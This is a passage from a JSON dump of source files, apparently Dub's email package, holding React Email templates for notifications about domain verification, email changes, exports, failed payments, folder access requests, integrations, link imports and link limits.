href=\"https://dub.co/help/article/merging-partner-accounts\"\n                  className=\"font-semibold text-black underline\"\n                >\n                  merging them in your Profile Settings\n                </Link>{\" \"}\n                as soon as possible.\n              </Text>\n            </Section>\n\n            {/* Action Buttons */}\n            <Section className=\"mb-6\">\n              <Link\n                href=\"https://partners.dub.co/payouts\"\n                className=\"box-border block w-full rounded-md bg-black px-0 py-3 text-center text-sm font-medium leading-none text-white no-underline\"\n              >\n                Update payout method\n              </Link>\n            </Section>\n\n            <Footer email={email} />\n          </Container>\n        </Body>\n      </Tailwind>\n    </Html>\n  );\n}\n"
  },
  {
    "path": "packages/email/src/templates/email-domain-status-changed.tsx",
    "content": "import { DUB_WORDMARK } from \"@dub/utils\";\nimport {\n  Body,\n  Container,\n  Head,\n  Heading,\n  Html,\n  Img,\n  Link,\n  Preview,\n  Section,\n  Tailwind,\n  Text,\n} from \"@react-email/components\";\nimport { Footer } from \"../components/footer\";\n\nexport type EmailDomainStatus =\n  | \"pending\"\n  | \"verified\"\n  | \"failed\"\n  | \"temporary_failure\"\n  | \"not_started\";\n\nexport default function EmailDomainStatusChanged({\n  email = \"panic@thedis.co\",\n  domain = \"example.com\",\n  workspace = { slug: \"acme\", name: \"Acme\" },\n  oldStatus = \"pending\",\n  newStatus = \"verified\",\n}: {\n  email: string;\n  domain: string;\n  workspace: { slug: string; name: string };\n  oldStatus: EmailDomainStatus;\n  newStatus: EmailDomainStatus;\n}) {\n  const isVerified = newStatus === \"verified\";\n  const isFailed = newStatus === \"failed\" || newStatus === \"temporary_failure\";\n  const isPending = newStatus === \"pending\" || newStatus === \"not_started\";\n\n  const heading = isVerified\n    ? \"Your email domain has been successfully verified\"\n    : isFailed\n      ? \"Your email domain verification has failed\"\n      : \"Your email domain status has changed\";\n\n  return (\n    <Html>\n      <Head />\n      <Preview>{heading}</Preview>\n      <Tailwind>\n        <Body className=\"mx-auto my-auto bg-white font-sans\">\n          <Container className=\"mx-auto my-10 max-w-[600px] rounded border border-solid border-neutral-200 px-10 py-5\">\n            <Section className=\"mt-8\">\n              <Img src={DUB_WORDMARK} height=\"32\" alt=\"Dub\" />\n            </Section>\n            <Heading className=\"mx-0 my-7 p-0 text-lg font-medium text-black\">\n              {heading}\n            </Heading>\n\n            {isVerified ? (\n              <Text className=\"text-sm leading-6 text-black\">\n                Your email domain{\" \"}\n                <code className=\"text-purple-600\">{domain}</code> for your Dub\n                workspace{\" \"}\n                <Link\n                  href={`https://app.dub.co/${workspace.slug}`}\n                  className=\"font-medium text-blue-600 no-underline\"\n                >\n                  {workspace.name}↗\n                </Link>{\" \"}\n                has been successfully verified. You can now send emails from\n                this domain.\n              </Text>\n            ) : isFailed ? (\n              <>\n                <Text className=\"text-sm leading-6 text-black\">\n                  Your email domain{\" \"}\n                  <code className=\"text-purple-600\">{domain}</code> for your Dub\n                  workspace{\" \"}\n                  <Link\n                    href={`https://app.dub.co/${workspace.slug}`}\n                    className=\"font-medium text-blue-600 no-underline\"\n                  >\n                    {workspace.name}↗\n                  </Link>{\" \"}\n                  verification has failed. Please check your DNS records and try\n                  again.\n                </Text>\n                <Text className=\"text-sm leading-6 text-black\">\n                  Please ensure all required DNS records are correctly\n                  configured in your domain settings. You can find the required\n                  records in your email domain settings.\n                </Text>\n              </>\n            ) : (\n              <Text className=\"text-sm leading-6 text-black\">\n                Your email domain{\" \"}\n                <code className=\"text-purple-600\">{domain}</code> for your Dub\n                workspace{\" \"}\n                <Link\n                  href={`https://app.dub.co/${workspace.slug}`}\n                  className=\"font-medium text-blue-600 no-underline\"\n                >\n                  {workspace.name}↗\n                </Link>{\" \"}\n                status has changed from <strong>{oldStatus}</strong> to{\" \"}\n                <strong>{newStatus}</strong>.\n              </Text>\n            )}\n\n            {isPending && (\n              <Text className=\"text-sm leading-6 text-black\">\n                We're still verifying your domain. This process may take a few\n                minutes. You'll receive another notification once verification\n                is complete.\n              </Text>\n            )}\n\n            <Section className=\"my-8\">\n              <Link\n                className=\"rounded-lg bg-black px-6 py-3 text-center text-[12px] font-semibold text-white no-underline\"\n                href={`https://app.dub.co/${workspace.slug}/links/domains/email`}\n              >\n                View email domain\n              </Link>\n            </Section>\n            <Footer\n              email={email}\n              notificationSettingsUrl={`https://app.dub.co/${workspace.slug}/settings/notifications`}\n            />\n          </Container>\n        </Body>\n      </Tailwind>\n    </Html>\n  );\n}\n"
  },
  {
    "path": "packages/email/src/templates/email-updated.tsx",
    "content": "import { DUB_WORDMARK } from \"@dub/utils\";\nimport {\n  Body,\n  Container,\n  Head,\n  Heading,\n  Html,\n  Img,\n  Link,\n  Preview,\n  Section,\n  Tailwind,\n  Text,\n} from \"@react-email/components\";\nimport { Footer } from \"../components/footer\";\n\nexport default function EmailUpdated({\n  oldEmail = \"panic@thedis.co\",\n  newEmail = \"panic@thedis.co\",\n  isPartnerProfile = false,\n}: {\n  oldEmail: string;\n  newEmail: string;\n  isPartnerProfile?: boolean;\n}) {\n  return (\n    <Html>\n      <Head />\n      <Preview>Your email address has been updated</Preview>\n      <Tailwind>\n        <Body className=\"mx-auto my-auto bg-white font-sans\">\n          <Container className=\"mx-auto my-10 max-w-[600px] rounded border border-solid border-neutral-200 px-10 py-5\">\n            <Section className=\"mt-8\">\n              <Img src={DUB_WORDMARK} height=\"32\" alt=\"Dub\" />\n            </Section>\n            <Heading className=\"mx-0 my-7 p-0 text-lg font-medium text-black\">\n              Your email address has been changed\n            </Heading>\n            <Text className=\"mx-auto text-sm leading-6\">\n              The e-mail address for your Dub{\" \"}\n              {isPartnerProfile ? \"partner profile\" : \"account\"} has been\n              changed from <strong>{oldEmail}</strong> to{\" \"}\n              <strong>{newEmail}</strong>.\n            </Text>\n            <Text className=\"text-sm leading-6 text-black\">\n              If you did not make this change, please contact our support team\n              or{\" \"}\n              <Link href=\"https://app.dub.co/account/settings\">\n                update your email address\n              </Link>\n              .\n            </Text>\n            <Text className=\"text-sm leading-6 text-black\">\n              This message is being sent to your old e-mail address only.\n            </Text>\n            <Footer email={oldEmail} />\n          </Container>\n        </Body>\n      </Tailwind>\n    </Html>\n  );\n}\n"
  },
  {
    "path": "packages/email/src/templates/export-ready.tsx",
    "content": "import { DUB_WORDMARK, pluralize } from \"@dub/utils\";\nimport {\n  Body,\n  Container,\n  Head,\n  Heading,\n  Html,\n  Img,\n  Link,\n  Preview,\n  Section,\n  Tailwind,\n  Text,\n} from \"@react-email/components\";\nimport { Footer } from \"../components/footer\";\n\nexport default function ExportReady({\n  email = \"panic@thedis.co\",\n  downloadUrl = \"https://dev.dubassets.com/exports/partners/xxxx.csv\",\n  exportType = \"partners\",\n  expiresInDays = 7,\n  program,\n  workspace,\n}: {\n  email: string;\n  downloadUrl: string;\n  exportType: \"partners\" | \"commissions\" | \"links\" | \"events\" | \"customers\";\n  expiresInDays?: number;\n  program?: {\n    name: string;\n  };\n  workspace?: {\n    name: string;\n  };\n}) {\n  const contextName = program?.name || workspace?.name || \"your workspace\";\n  return (\n    <Html>\n      <Head />\n      <Preview>Your {exportType} export is ready to download</Preview>\n      <Tailwind>\n        <Body className=\"mx-auto my-auto bg-white font-sans\">\n          <Container className=\"mx-auto my-10 max-w-[600px] rounded border border-solid border-neutral-200 px-10 py-5\">\n            <Section className=\"mt-8\">\n              <Img src={DUB_WORDMARK} height=\"32\" alt=\"Dub\" />\n            </Section>\n            <Heading className=\"mx-0 my-7 p-0 text-xl font-medium text-black\">\n              Your {exportType} export is ready\n            </Heading>\n            <Text className=\"text-sm leading-6 text-black\">\n              Your {exportType} export from your <strong>{contextName}</strong>{\" \"}\n              {program ? \"program\" : \"workspace\"} has been completed and is\n              ready to download.\n            </Text>\n            <Section className=\"my-8\">\n              <Link\n                className=\"rounded-lg bg-black px-6 py-3 text-center text-[12px] font-semibold text-white no-underline\"\n                href={downloadUrl}\n              >\n                Download Export\n              </Link>\n            </Section>\n            <Text className=\"text-sm leading-6 text-neutral-500\">\n              This download link will expire in {expiresInDays}{\" \"}\n              {pluralize(\"day\", expiresInDays)}.\n            </Text>\n            <Footer email={email} />\n          </Container>\n        </Body>\n      </Tailwind>\n    </Html>\n  );\n}\n"
  },
  {
    "path": "packages/email/src/templates/failed-payment.tsx",
    "content": "import { currencyFormatter, DUB_WORDMARK, PLANS } from \"@dub/utils\";\nimport {\n  Body,\n  Container,\n  Head,\n  Heading,\n  Html,\n  Img,\n  Link,\n  Preview,\n  Section,\n  Tailwind,\n  Text,\n} from \"@react-email/components\";\nimport { Footer } from \"../components/footer\";\nimport { WorkspaceProps } from \"../types\";\n\nexport default function FailedPayment({\n  user = {\n    name: \"Brendon Urie\",\n    email: \"panic@thedis.co\",\n  },\n  workspace = {\n    name: \"Dub\",\n    slug: \"dub\",\n    plan: \"business\",\n    defaultProgramId: null,\n  },\n  amountDue = 2400,\n  attemptCount = 2,\n}: {\n  user: { name?: string | null; email: string };\n  workspace: Pick<\n    WorkspaceProps,\n    \"name\" | \"slug\" | \"plan\" | \"defaultProgramId\"\n  >;\n  amountDue: number;\n  attemptCount: number;\n}) {\n  const title = `${\n    attemptCount == 2 ? \"2nd notice: \" : attemptCount == 3 ? \"3rd notice: \" : \"\"\n  }Your payment for Dub failed`;\n\n  // Check if plan has partner access (Business, Advanced, Enterprise have payouts > 0)\n  const planHasPartnerAccess = workspace.plan\n    ? (PLANS.find((p) => p.name.toLowerCase() === workspace.plan?.toLowerCase())\n        ?.limits.payouts ?? 0) > 0\n    : false;\n\n  const showPartnerWarning =\n    planHasPartnerAccess && !!workspace.defaultProgramId;\n\n  return (\n    <Html>\n      <Head />\n      <Preview>{title}</Preview>\n      <Tailwind>\n        <Body className=\"mx-auto my-auto bg-white font-sans\">\n          <Container className=\"mx-auto my-10 max-w-[600px] rounded border border-solid border-neutral-200 px-10 py-5\">\n            <Section className=\"mt-8\">\n              <Img src={DUB_WORDMARK} height=\"32\" alt=\"Dub\" />\n            </Section>\n            <Heading className=\"mx-0 my-7 p-0 text-lg font-medium text-black\">\n              {attemptCount == 2 ? \"2nd \" : attemptCount == 3 ? \"3rd \" : \"\"}\n              payment attempt failed\n            </Heading>\n            <Text className=\"text-sm leading-6 text-black\">\n              Hey{user.name ? ` ${user.name}` : \"\"},\n            </Text>\n            <Text className=\"text-sm leading-6 text-black\">\n              We were unable to process your payment of{\" \"}\n              <code className=\"text-purple-600\">\n                {currencyFormatter(amountDue)}\n              </code>{\" \"}\n              for your Dub workspace{\" \"}\n              <code className=\"text-purple-600\">{workspace.name}</code>.\n            </Text>\n            {showPartnerWarning && (\n              <Text className=\"text-sm leading-6 text-black\">\n                Your workspace also has an active partner program. If payment is\n                not resolved, your plan will be canceled and your partner\n                program will be deactivated.\n              </Text>\n            )}\n            <Text className=\"text-sm leading-6 text-black\">\n              Please{\" \"}\n              <Link\n                href=\"https://dub.co/help/article/how-to-change-billing-information\"\n                className=\"font-medium text-blue-600 no-underline\"\n              >\n                update your payment information\n              </Link>{\" \"}\n              using the link below:\n            </Text>\n            <Section className=\"my-8\">\n              <Link\n                className=\"rounded-lg bg-black px-6 py-3 text-center text-[12px] font-semibold text-white no-underline\"\n                href={`https://app.dub.co/${workspace.slug}/settings/billing`}\n              >\n                Update payment information\n              </Link>\n            </Section>\n            <Text className=\"text-sm leading-6 text-black\">\n              If you have any questions, just reply to this email and we will\n              help you get it sorted.\n            </Text>\n            <Footer email={user.email} />\n          </Container>\n        </Body>\n      </Tailwind>\n    </Html>\n  );\n}\n"
  },
  {
    "path": "packages/email/src/templates/feedback-email.tsx",
    "content": "import { DUB_WORDMARK } from \"@dub/utils\";\nimport {\n  Body,\n  Container,\n  Head,\n  Heading,\n  Html,\n  Img,\n  Preview,\n  Section,\n  Tailwind,\n  Text,\n} from \"@react-email/components\";\n\nexport default function FeedbackEmail({\n  email = \"panic@thedis.co\",\n  feedback = \"I love Dub!\",\n}: {\n  email: string;\n  feedback: string;\n}) {\n  return (\n    <Html>\n      <Head />\n      <Preview>New Feedback Received</Preview>\n      <Tailwind>\n        <Body className=\"mx-auto my-auto bg-white font-sans\">\n          <Container className=\"mx-auto my-10 max-w-[600px] rounded border border-solid border-neutral-200 px-10 py-5\">\n            <Section className=\"mt-8\">\n              <Img src={DUB_WORDMARK} height=\"32\" alt=\"Dub\" />\n            </Section>\n            <Heading className=\"mx-0 my-7 p-0 text-lg font-medium text-black\">\n              New Feedback Received\n            </Heading>\n            <Text className=\"text-sm leading-6 text-black\">\n              New feedback from <span className=\"font-semibold\">{email}</span>\n            </Text>\n            <Text className=\"text-sm leading-6 text-black\">{feedback}</Text>\n          </Container>\n        </Body>\n      </Tailwind>\n    </Html>\n  );\n}\n"
  },
  {
    "path": "packages/email/src/templates/folder-edit-access-requested.tsx",
    "content": "import { DUB_WORDMARK } from \"@dub/utils\";\nimport {\n  Body,\n  Container,\n  Head,\n  Heading,\n  Html,\n  Img,\n  Link,\n  Preview,\n  Section,\n  Tailwind,\n  Text,\n} from \"@react-email/components\";\nimport { Footer } from \"../components/footer\";\n\nexport default function FolderEditAccessRequested({\n  email = \"panic@thedis.co\",\n  folderUrl = \"http://localhost:8888/acme/settings/library/folders/cm1elre430005nf59czif340u/members\",\n  folder = {\n    name: \"Social Media\",\n  },\n  requestor = {\n    name: \"Brendon Urie\",\n    email: \"panic@thedis.co\",\n  },\n}: {\n  email: string;\n  folderUrl: string;\n  folder: {\n    name: string;\n  };\n  requestor: {\n    name: string;\n    email: string;\n  };\n}) {\n  return (\n    <Html>\n      <Head />\n      <Preview>Request to edit folder {folder.name} on Dub</Preview>\n      <Tailwind>\n        <Body className=\"mx-auto my-auto bg-white font-sans\">\n          <Container className=\"mx-auto my-10 max-w-[600px] rounded border border-solid border-neutral-200 px-10 py-5\">\n            <Section className=\"mt-8\">\n              <Img src={DUB_WORDMARK} height=\"32\" alt=\"Dub\" />\n            </Section>\n            <Heading className=\"mx-0 my-7 p-0 text-lg font-medium text-black\">\n              Request to edit {folder.name}\n            </Heading>\n            <Text className=\"text-sm leading-6 text-black\">\n              <strong>{requestor.name}</strong> (\n              <Link\n                className=\"text-blue-600 no-underline\"\n                href={`mailto:${requestor.email}`}\n              >\n                {requestor.email}\n              </Link>\n              ) is requesting edit access to the folder&nbsp;\n              <strong>{folder.name}</strong>.\n            </Text>\n            <Section className=\"mb-8 mt-8\">\n              <Link\n                className=\"rounded-lg bg-black px-6 py-3 text-center text-[12px] font-semibold text-white no-underline\"\n                href={folderUrl}\n              >\n                View folder\n              </Link>\n            </Section>\n            <Text className=\"text-sm leading-6 text-black\">\n              or copy and paste this URL into your browser:\n            </Text>\n            <Text className=\"max-w-sm flex-wrap break-words font-medium text-purple-600 no-underline\">\n              {folderUrl.replace(/^https?:\\/\\//, \"\")}\n            </Text>\n            <Footer email={email} />\n          </Container>\n        </Body>\n      </Tailwind>\n    </Html>\n  );\n}\n"
  },
  {
    "path": "packages/email/src/templates/integration-installed.tsx",
    "content": "import { DUB_WORDMARK } from \"@dub/utils\";\nimport {\n  Body,\n  Container,\n  Head,\n  Heading,\n  Html,\n  Img,\n  Link,\n  Preview,\n  Section,\n  Tailwind,\n  Text,\n} from \"@react-email/components\";\nimport { Footer } from \"../components/footer\";\n\nexport default function IntegrationInstalled({\n  email = \"panic@thedis.co\",\n  workspace = {\n    name: \"Acme, Inc\",\n    slug: \"acme\",\n  },\n  integration = {\n    name: \"Slack\",\n    slug: \"slack\",\n  },\n}: {\n  email: string;\n  workspace: {\n    name: string;\n    slug: string;\n  };\n  integration: {\n    name: string;\n    slug: string;\n  };\n}) {\n  return (\n    <Html>\n      <Head />\n      <Preview>An integration has been added to your workspace</Preview>\n      <Tailwind>\n        <Body className=\"mx-auto my-auto bg-white font-sans\">\n          <Container className=\"mx-auto my-10 max-w-[600px] rounded border border-solid border-neutral-200 px-10 py-5\">\n            <Section className=\"mt-8\">\n              <Img src={DUB_WORDMARK} height=\"32\" alt=\"Dub\" />\n            </Section>\n            <Heading className=\"mx-0 my-7 p-0 text-lg font-medium text-black\">\n              An integration has been added to your workspace\n            </Heading>\n            <Text className=\"text-sm leading-6 text-black\">\n              The <strong>{integration.name}</strong> integration has been added\n              to your workspace {workspace.name} on Dub.\n            </Text>\n            <Section className=\"mb-8 mt-8\">\n              <Link\n                className=\"rounded-lg bg-black px-6 py-3 text-center text-[12px] font-semibold text-white no-underline\"\n                href={`https://app.dub.co/${workspace.slug}/settings/integrations/${integration.slug}`}\n              >\n                View installed integration\n              </Link>\n            </Section>\n            <Footer email={email} />\n          </Container>\n        </Body>\n      </Tailwind>\n    </Html>\n  );\n}\n"
  },
  {
    "path": "packages/email/src/templates/invalid-domain.tsx",
    "content": "import { DUB_WORDMARK } from \"@dub/utils\";\nimport {\n  Body,\n  Container,\n  Head,\n  Heading,\n  Html,\n  Img,\n  Link,\n  Preview,\n  Section,\n  Tailwind,\n  Text,\n} from \"@react-email/components\";\nimport { Footer } from \"../components/footer\";\n\nexport default function InvalidDomain({\n  email = \"panic@thedis.co\",\n  domain = \"dub.sh\",\n  workspaceSlug = \"dub\",\n  invalidDays = 14,\n}: {\n  email: string;\n  domain: string;\n  workspaceSlug: string;\n  invalidDays: number;\n}) {\n  return (\n    <Html>\n      <Head />\n      <Preview>Invalid Domain Configuration</Preview>\n      <Tailwind>\n        <Body className=\"mx-auto my-auto bg-white font-sans\">\n          <Container className=\"mx-auto my-10 max-w-[600px] rounded border border-solid border-neutral-200 px-10 py-5\">\n            <Section className=\"mt-8\">\n              <Img src={DUB_WORDMARK} height=\"32\" alt=\"Dub\" />\n            </Section>\n            <Heading className=\"mx-0 my-7 p-0 text-lg font-medium text-black\">\n              Invalid Domain Configuration\n            </Heading>\n            <Text className=\"text-sm leading-6 text-black\">\n              Your domain <code className=\"text-purple-600\">{domain}</code> for\n              your Dub workspace{\" \"}\n              <Link\n                href={`https://app.dub.co/${workspaceSlug}`}\n                className=\"font-medium text-blue-600 no-underline\"\n              >\n                {workspaceSlug}↗\n              </Link>{\" \"}\n              has been invalid for {invalidDays} days.\n            </Text>\n            <Text className=\"text-sm leading-6 text-black\">\n              If your domain remains unconfigured for 30 days, it will be\n              automatically deleted from Dub. Please click the link below to\n              configure your domain.\n            </Text>\n            <Section className=\"my-8\">\n              <Link\n                className=\"rounded-lg bg-black px-6 py-3 text-center text-[12px] font-semibold text-white no-underline\"\n                href={`https://app.dub.co/${workspaceSlug}/settings/domains`}\n              >\n                Configure domain\n              </Link>\n            </Section>\n            <Text className=\"text-sm leading-6 text-black\">\n              If you do not want to keep this domain on Dub, you can{\" \"}\n              <Link\n                href={`https://app.dub.co/${workspaceSlug}/settings/domains`}\n                className=\"font-medium text-blue-600 no-underline\"\n              >\n                delete it\n              </Link>{\" \"}\n              or simply ignore this email. To respect your inbox,{\" \"}\n              {invalidDays < 28\n                ? `we will only send you one more email about this in ${\n                    28 - invalidDays\n                  } days.`\n                : \"this will be the last time we will email you about this.\"}\n            </Text>\n            <Footer\n              email={email}\n              notificationSettingsUrl={`https://app.dub.co/${workspaceSlug}/settings/notifications`}\n            />\n          </Container>\n        </Body>\n      </Tailwind>\n    </Html>\n  );\n}\n"
  },
  {
    "path": "packages/email/src/templates/links-import-errors.tsx",
    "content": "import { DUB_WORDMARK, linkConstructor, truncate } from \"@dub/utils\";\nimport {\n  Body,\n  Column,\n  Container,\n  Head,\n  Heading,\n  Hr,\n  Html,\n  Img,\n  Link,\n  Preview,\n  Row,\n  Section,\n  Tailwind,\n  Text,\n} from \"@react-email/components\";\nimport { Footer } from \"../components/footer\";\n\nconst MAX_ERROR_LINKS = 20;\n\nexport default function LinksImportErrors({\n  email,\n  provider = \"CSV\",\n  errorLinks = [\n    {\n      domain: \"dub.sh\",\n      key: \"123\",\n      error: \"Invalid URL\",\n    },\n    {\n      domain: \"dub.sh\",\n      key: \"456\",\n      error: \"Invalid URL\",\n    },\n  ],\n  workspaceName,\n  workspaceSlug,\n}: {\n  email: string;\n  provider: \"CSV\" | \"Bitly\" | \"Short.io\" | \"Rebrandly\";\n  errorLinks: {\n    domain: string;\n    key: string;\n    error: string;\n  }[];\n  workspaceName: string;\n  workspaceSlug: string;\n}) {\n  return (\n    <Html>\n      <Head />\n      <Preview>Your {provider} links have been imported</Preview>\n      <Tailwind>\n        <Body className=\"mx-auto my-auto bg-white font-sans\">\n          <Container className=\"mx-auto my-10 max-w-[600px] rounded border border-solid border-neutral-200 px-10 py-5\">\n            <Section className=\"mt-8\">\n              <Img src={DUB_WORDMARK} height=\"32\" alt=\"Dub\" />\n            </Section>\n            <Heading className=\"mx-0 my-7 p-0 text-lg font-medium text-black\">\n              Some {provider} links have failed to import\n            </Heading>\n            <Text className=\"text-sm leading-6 text-black\">\n              The following{\" \"}\n              {Intl.NumberFormat(\"en-us\").format(errorLinks.length)} links from{\" \"}\n              {provider} failed to import into your Dub workspace,{\" \"}\n              <Link\n                href={`https://app.dub.co/${workspaceSlug}`}\n                className=\"font-medium text-blue-600 no-underline\"\n              >\n                {workspaceName}↗\n              </Link>\n              .\n            </Text>\n            <Section>\n              <Row className=\"pb-2\">\n                <Column align=\"left\" className=\"text-sm text-neutral-500\">\n                  Link\n                </Column>\n                <Column align=\"right\" className=\"text-sm text-neutral-500\">\n                  Error\n                </Column>\n              </Row>\n              {errorLinks\n                .slice(0, MAX_ERROR_LINKS)\n                .map(({ domain, key, error }, index) => (\n                  <div key={index}>\n                    <Row>\n                      <Column align=\"left\" className=\"text-sm font-medium\">\n                        {truncate(\n                          linkConstructor({ domain, key, pretty: true }),\n                          40,\n                        )}\n                      </Column>\n                      <Column\n                        align=\"right\"\n                        className=\"text-sm text-neutral-600\"\n                        suppressHydrationWarning\n                      >\n                        {error}\n                      </Column>\n                    </Row>\n                    {index !== errorLinks.length - 1 && (\n                      <Hr className=\"my-2 w-full border border-neutral-200\" />\n                    )}\n                  </div>\n                ))}\n            </Section>\n            {errorLinks.length > MAX_ERROR_LINKS && (\n              <Section className=\"my-8 text-center\">\n                <Text className=\"text-sm leading-6 text-black\">\n                  ...and {errorLinks.length - MAX_ERROR_LINKS} more errors\n                </Text>\n              </Section>\n            )}\n            <Text className=\"text-sm leading-6 text-black\">\n              Please reply to this email for additional help with your CSV\n              import.\n            </Text>\n            <Footer email={email} />\n          </Container>\n        </Body>\n      </Tailwind>\n    </Html>\n  );\n}\n"
  },
  {
    "path": "packages/email/src/templates/links-imported.tsx",
    "content": "import { DUB_WORDMARK, linkConstructor, pluralize, timeAgo } from \"@dub/utils\";\nimport {\n  Body,\n  Column,\n  Container,\n  Head,\n  Heading,\n  Hr,\n  Html,\n  Img,\n  Link,\n  Preview,\n  Row,\n  Section,\n  Tailwind,\n  Text,\n} from \"@react-email/components\";\nimport { Footer } from \"../components/footer\";\n\nexport default function LinksImported({\n  email = \"panic@thedis.co\",\n  provider = \"Bitly\",\n  count = 1020,\n  links = [\n    {\n      domain: \"ac.me\",\n      key: \"sales\",\n      createdAt: new Date(\"2023-07-16T00:00:00.000Z\"),\n    },\n    {\n      domain: \"ac.me\",\n      key: \"instagram\",\n      createdAt: new Date(\"2023-07-01T00:00:00.000Z\"),\n    },\n    {\n      domain: \"ac.me\",\n      key: \"facebook\",\n      createdAt: new Date(\"2023-06-18T00:00:00.000Z\"),\n    },\n    {\n      domain: \"ac.me\",\n      key: \"twitter\",\n      createdAt: new Date(\"2023-06-01T00:00:00.000Z\"),\n    },\n    {\n      domain: \"ac.me\",\n      key: \"linkedin\",\n      createdAt: new Date(\"2023-05-16T00:00:00.000Z\"),\n    },\n  ],\n  workspaceName = \"Acme\",\n  workspaceSlug = \"acme\",\n  domains = [\"ac.me\"],\n}: {\n  email: string;\n  provider: \"Bitly\" | \"Short.io\" | \"Rebrandly\" | \"CSV\";\n  count: number;\n  links: {\n    domain: string;\n    key: string;\n    createdAt: Date;\n  }[];\n  workspaceName: string;\n  workspaceSlug: string;\n  domains: string[];\n}) {\n  return (\n    <Html>\n      <Head />\n      <Preview>Your {provider} links have been imported</Preview>\n      <Tailwind>\n        <Body className=\"mx-auto my-auto bg-white font-sans\">\n          <Container className=\"mx-auto my-10 max-w-[600px] rounded border border-solid border-neutral-200 px-10 py-5\">\n            <Section className=\"mt-8\">\n              <Img src={DUB_WORDMARK} height=\"32\" alt=\"Dub\" />\n            </Section>\n            <Heading className=\"mx-0 my-7 p-0 text-lg font-medium text-black\">\n              Your {provider} links have been imported\n            </Heading>\n            <Text className=\"text-sm leading-6 text-black\">\n              We have successfully{\" \"}\n              <strong>\n                imported {Intl.NumberFormat(\"en-us\").format(count)} links\n              </strong>{\" \"}\n              from {provider} into your Dub workspace,{\" \"}\n              <Link\n                href={`https://app.dub.co/${workspaceSlug}`}\n                className=\"font-medium text-blue-600 no-underline\"\n              >\n                {workspaceName}↗\n              </Link>{\" \"}\n              , for the {pluralize(\"domain\", domains.length)}{\" \"}\n              <strong>{domains.join(\", \")}</strong>.\n            </Text>\n            {links.length > 0 && (\n              <Section>\n                <Row className=\"pb-2\">\n                  <Column align=\"left\" className=\"text-sm text-neutral-500\">\n                    Link\n                  </Column>\n                  <Column align=\"right\" className=\"text-sm text-neutral-500\">\n                    Created\n                  </Column>\n                </Row>\n                {links.map(({ domain, key, createdAt }, index) => (\n                  <div key={index}>\n                    <Row>\n                      <Column align=\"left\" className=\"text-sm font-medium\">\n                        {linkConstructor({ domain, key, pretty: true })}\n                      </Column>\n                      <Column\n                        align=\"right\"\n                        className=\"text-sm text-neutral-600\"\n                        suppressHydrationWarning\n                      >\n                        {timeAgo(createdAt)}\n                      </Column>\n                    </Row>\n                    {index !== links.length - 1 && (\n                      <Hr className=\"my-2 w-full border border-neutral-200\" />\n                    )}\n                  </div>\n                ))}\n              </Section>\n            )}\n            {count > 5 && (\n              <Section className=\"my-8\">\n                <Link\n                  className=\"rounded-lg bg-black px-6 py-3 text-center text-[12px] font-semibold text-white no-underline\"\n                  href={`https://app.dub.co/${workspaceSlug}`}\n                >\n                  View {Intl.NumberFormat(\"en-us\").format(count - 5)} more links\n                </Link>\n              </Section>\n            )}\n            <Text className=\"text-sm leading-6 text-black\">\n              If you haven't already{\" \"}\n              <Link\n                href=\"https://dub.co/help/article/how-to-add-custom-domain#step-2-configure-your-domain\"\n                className=\"font-medium text-blue-600 no-underline\"\n              >\n                configured your {pluralize(\"domain\", domains.length)}\n              </Link>\n              , you will need to do this before you can start using your links.\n            </Text>\n            <Footer email={email} />\n          </Container>\n        </Body>\n      </Tailwind>\n    </Html>\n  );\n}\n"
  },
  {
    "path": "packages/email/src/templates/links-limit.tsx",
    "content": "import { APP_DOMAIN, DUB_WORDMARK, capitalize, nFormatter } from \"@dub/utils\";\nimport {\n  Body,\n  Container,\n  Head,\n  Heading,\n  Html,\n  Img,\n  Link,\n  Preview,\n  Section,\n  Tailwind,\n  Text,\n} from \"@react-email/components\";\nimport { WorkspaceProps } from \"../../../../apps/web/lib/types\";\nimport { Footer } from \"../components/footer\";\n\nexport default function LinksLimitAlert({\n  email = \"panic@thedis.co\",\n  workspace = {\n    id: \"ckqf1q3xw0000gk5u2q1q2q1q\",\n    name: \"Acme\",\n    slug: \"acme\",\n    linksUsage: 800,\n    linksLimit: 1000,\n    plan: \"pro\",\n  },\n}: {\n  email: string;\n  workspace: Partial<WorkspaceProps>;\n}) {\n  const { slug, name, linksUsage, linksLimit, plan } = workspace as {\n    slug: string;\n    name: string;\n    linksUsage: number;\n    linksLimit: number;\n    plan: string;\n  };\n  const percentage = Math.round((linksUsage / linksLimit) * 100);\n\n  return (\n    <Html>\n      <Head />\n      <Preview>\n        Your Dub workspace, {name} has used {percentage.toString()}% of its\n        links limit for the month.\n      </Preview>\n      <Tailwind>\n        <Body className=\"mx-auto my-auto bg-white font-sans\">\n          <Container className=\"mx-auto my-10 max-w-[600px] rounded border border-solid border-neutral-200 px-10 py-5\">\n            <Section className=\"mt-8\">\n              <Img src={DUB_WORDMARK} height=\"32\" alt=\"Dub\" />\n            </Section>\n            <Heading className=\"mx-0 my-7 p-0 text-lg font-medium text-black\">\n              Dub Links Limit Alert\n            </Heading>\n            <Text className=\"text-sm leading-6 text-black\">\n              Your Dub workspace,{\" \"}\n              <Link\n                href={`https://app.dub.co/${slug}`}\n                className=\"text-black underline\"\n              >\n                <strong>{name}</strong>\n              </Link>{\" \"}\n              has used <strong>{percentage.toString()}%</strong> of the monthly\n              links limit included in the {capitalize(plan)} plan. You have\n              created a total of{\" \"}\n              <strong>{nFormatter(linksUsage, { full: true })} links</strong>{\" \"}\n              (out of a maximum of {nFormatter(linksLimit, { full: true })}{\" \"}\n              links) in your current billing cycle.\n            </Text>\n\n            {plan === \"enterprise\" ? (\n              <Text className=\"text-sm leading-6 text-black\">\n                Since you're on the {capitalize(plan)} plan, you will still be\n                able to create links even after you hit your limit. We're\n                planning to introduce on-demand billing for overages in the\n                future, but for now, you can continue to create links without\n                any interruption.\n              </Text>\n            ) : percentage === 100 ? (\n              <Text className=\"text-sm leading-6 text-black\">\n                All your existing links will continue to work, and we are still\n                collecting data on them, but you'll need to{\" \"}\n                <Link\n                  href={`${APP_DOMAIN}/${slug}/settings/billing`}\n                  className=\"font-medium text-blue-600 no-underline\"\n                >\n                  upgrade to a higher plan\n                </Link>{\" \"}\n                to create more links.\n              </Text>\n            ) : (\n              <Text className=\"text-sm leading-6 text-black\">\n                Once you hit your limit, you'll need to{\" \"}\n                <Link\n                  href={`${APP_DOMAIN}/${slug}/settings/billing`}\n                  className=\"font-medium text-blue-600 no-underline\"\n                >\n                  upgrade to a higher plan\n                </Link>{\" \"}\n                to create more links.\n              </Text>\n            )}\n            <Section className=\"mb-8\">\n              <Link\n                className=\"rounded-lg bg-black px-6 py-3 text-center text-[12px] font-semibold text-white no-underline\"\n                